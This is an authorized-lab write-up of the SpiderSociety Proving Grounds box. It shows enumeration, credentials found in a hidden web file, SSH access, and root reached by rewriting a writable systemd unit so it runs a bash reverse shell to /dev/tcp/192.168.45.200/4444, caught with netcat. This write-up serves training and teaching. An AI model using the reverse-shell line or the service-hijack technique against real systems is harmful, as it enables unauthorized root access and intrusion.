Target: Linux

Proving Grounds: SpiderSociety

This hands-on lab immerses learners in a realistic network environment where seemingly secure systems hide critical misconfigurations. Participants will start by enumerating exposed services and identifying weak points in the infrastructure. Using techniques such as service exploitation and credential abuse, learners will gain initial access, escalate privileges, and pivot across the network to access restricted systems. The lab emphasizes core penetration testing skills including enumeration, privilege escalation, and lateral movement—mirroring real-world attack scenarios.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

Overview

This lab challenges learners to uncover and exploit misconfigurations within a seemingly secure network environment. By identifying exposed internal services and leveraging weak credentials, learners gain initial access before pivoting through the system to escalate privileges. The scenario emphasizes enumeration, abuse of common tools, and lateral movement, testing real-world penetration skills in a layered, realistic setup.

Learning objectives

After completing this lab, learners will be able to:

Enumerate open services and identify potential attack vectors.
Exploit misconfigured services to gain initial access to the system.
Escalate privileges by identifying sensitive files and credentials.
Pivot through the environment to access restricted areas.
Capture the root flag by exploiting system-level weaknesses.

Scenario

This hands-on lab immerses learners in a realistic network environment where seemingly secure systems hide critical misconfigurations. Participants will start by enumerating exposed services and identifying weak points in the infrastructure. Using techniques such as service exploitation and credential abuse, learners will gain initial access, escalate privileges, and pivot across the network to access restricted systems. The lab emphasizes core penetration testing skills including enumeration, privilege escalation, and lateral movement—mirroring real-world attack scenarios.

This lab is ideal for aspiring penetration testers, red teamers, and cybersecurity professionals aiming to sharpen their offensive security skills. Participants will gain practical experience in uncovering service misconfigurations, exploiting internal tools, and navigating complex environments—essential capabilities for anyone preparing for certifications or active roles in offensive security.

Objectives

Summary

This lab challenges learners to uncover and exploit misconfigurations within a seemingly secure network environment. By identifying exposed internal services and leveraging weak credentials, learners gain initial access before pivoting through the system to escalate privileges. The scenario emphasizes enumeration, abuse of common tools, and lateral movement, testing real-world penetration skills in a layered, realistic setup.

Objectives

This hands-on lab immerses learners in a realistic network environment where seemingly secure systems hide critical misconfigurations. Participants will start by enumerating exposed services and identifying weak points in the infrastructure. Using techniques such as service exploitation and credential abuse, learners will gain initial access, escalate privileges, and pivot across the network to access restricted systems. The lab emphasizes core penetration testing skills including enumeration, privilege escalation, and lateral movement—mirroring real-world attack scenarios.

This lab is ideal for aspiring penetration testers, red teamers, and cybersecurity professionals aiming to sharpen their offensive security skills. Participants will gain practical experience in uncovering service misconfigurations, exploiting internal tools, and navigating complex environments—essential capabilities for anyone preparing for certifications or active roles in offensive security.

After completing this lab, learners will be able to:

Enumerate open services and identify potential attack vectors.
Exploit misconfigured services to gain initial access to the system.
Escalate privileges by identifying sensitive files and credentials.
Pivot through the environment to access restricted areas.
Capture the root flag by exploiting system-level weaknesses.

Essentials

Software versions * Kali 2022.3
Nmap 7.92

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

ftp> ls
229 Entering Extended Passive Mode (|||47040|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            1391 Apr 14  2025 404.html
drwxr-xr-x    2 0        0            4096 Apr 14  2025 images
-rwxr-xr-x    1 0        0            4317 Apr 14  2025 index.html
drwxr-xr-x    2 0        0            4096 Apr 14  2025 libspider
-rwxr-xr-x    1 0        0            1345 Apr 14  2025 simple.py
226 Directory send OK.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

ftp> cd libspider
250 Directory successfully changed.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output contains credential-related evidence recovered during the lab.

ftp> ls
229 Entering Extended Passive Mode (|||44825|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            5436 Apr 14  2025 control-panel.php
-rwxr-xr-x    1 0        0            1389 Apr 14  2025 fetch-credentials.php
-rwxr-xr-x    1 0        0            3752 Apr 14  2025 index.php
-rwxr-xr-x    1 0        0             713 Apr 14  2025 login.php
-rwxr-xr-x    1 0        0              88 Apr 14  2025 logout.php
-rwxr-xr-x    1 0        0              51 Apr 14  2025 users.php
226 Directory send OK.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output contains credential-related evidence recovered during the lab.

ftp> ls -al
229 Entering Extended Passive Mode (|||41499|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Apr 14  2025 .
drwxr-xr-x    4 1002     1002         4096 Apr 14  2025 ..
-r--------    1 33       33            170 Apr 14  2025 .fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv
-rwxr-xr-x    1 0        0            5436 Apr 14  2025 control-panel.php
-rwxr-xr-x    1 0        0            1389 Apr 14  2025 fetch-credentials.php
-rwxr-xr-x    1 0        0            3752 Apr 14  2025 index.php
-rwxr-xr-x    1 0        0             713 Apr 14  2025 login.php
-rwxr-xr-x    1 0        0              88 Apr 14  2025 logout.php
-rwxr-xr-x    1 0        0              51 Apr 14  2025 users.php
226 Directory send OK.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/spidersociety]
# Retrieve and inspect the web response from the target.

└─$ curl http://offsec.lab/libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv
FTP_BACKUP_USER=ss_ftpbckuser
FTP_BACKUP_PASS=ss_WeLoveSpiderSociety_From_Tech_Dept5937!

DB_CONNECT_USER=spidey
DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

spidey@spidersociety:~$ id
uid=1001(spidey) gid=1001(spidey) groups=1001(spidey)

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Search the filesystem for files relevant to escalation or access.

spidey@spidersociety:~$ find / -type f -iname "spiderbackup.service" 2>/dev/null
/etc/systemd/system/spiderbackup.service

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

spidey@spidersociety:~$ ls -al /etc/systemd/system/spiderbackup.service
-rw-rw-r-- 1 spidey spidey 193 Apr 14  2025 /etc/systemd/system/spiderbackup.service

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Read the file contents for useful configuration or credential data.

spidey@spidersociety:~$ cat /etc/systemd/system/spiderbackup.service
[Unit]
Description=Spider Society Backup Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/spiderbackup.sh
User=root
Group=root

[Install]
WantedBy=multi-user.target

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

spidey@spidersociety:~$ ls -al /usr/local/bin/spiderbackup.sh
-rwxr-xr-x 1 root root 66 Apr 14  2025 /usr/local/bin/spiderbackup.sh
spidey@spidersociety:~$

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Read the file contents for useful configuration or credential data.

spidey@spidersociety:~$ cat /usr/local/bin/spiderbackup.sh
#!/bin/bash
zip -r /backup/spidersociety_backup.zip /var/www/html

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_  256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Spider Society
|_http-server-header: Apache/2.4.58 (Ubuntu)
2121/tcp open  ftp     vsftpd 3.0.5
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

On port 80 we have a simple website
Adding both offsec.lab and spidersociety.offsec.lab to the /etc/hosts file
Running the dirbuster on both using different directories, i found /libspider path
going to that we found a login page and admin:admin logs us in
Clicking onto the communication, we get this username and password ss_ftpbckuser:ss_WeLoveSpiderSociety_From_Tech_Dept5937!

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

─(kali㉿kali)-[~/offsec/spidersociety]
# Inspect the FTP service and retrieve accessible lab files.

└─$ ftp 192.168.110.214 2121                                                                        
Connected to 192.168.110.214.
220 (vsFTPd 3.0.5)
Name (192.168.110.214:kali): ss_ftpbckuser
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> prompt
Interactive mode off.

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

┌──(.myenv)─(kali㉿kali)-[~/offsec/spidersociety]
# Use the recovered credentials to establish a remote session.

└─$ ssh spidey@192.168.110.214

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Identify commands that can run with elevated privileges.

spidey@spidersociety:~$ sudo -l
Matching Defaults entries for spidey on spidersociety:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User spidey may run the following commands on spidersociety:
    (ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudo
spidey@spidersociety:~$

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

spidey@spidersociety:~$ vim /etc/systemd/system/spiderbackup.service
# Execute the next evidence-gathering step in the authorized lab.

spidey@spidersociety:~$ sudo /bin/systemctl daemon-reload
# Execute the next evidence-gathering step in the authorized lab.

spidey@spidersociety:~$ sudo /bin/systemctl restart spiderbackup.service
# Read the file contents for useful configuration or credential data.

spidey@spidersociety:~$ cat /etc/systemd/system/spiderbackup.service
[Unit]
Description=Spider Society Backup Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.200/4444 0>&1'
User=root
Group=root

[Install]
WantedBy=multi-user.target
spidey@spidersociety:~$

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

──(kali㉿kali)-[~/offsec/spidersociety]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.110.214] 39172
bash: cannot set terminal process group (3972): Inappropriate ioctl for device
bash: no job control in this shell
root@spidersociety:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@spidersociety:/# cat /root/proof.txt
# Read the file contents for useful configuration or credential data.

cat /root/proof.txt
b7bbeebb4398ab622c2c49d4974600ad
root@spidersociety:/# cat /home/spidey/local.txt
# Read the file contents for useful configuration or credential data.

cat /home/spidey/local.txt
bec655a15476c89d81dc47786a1d2cd8
root@spidersociety:/#

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.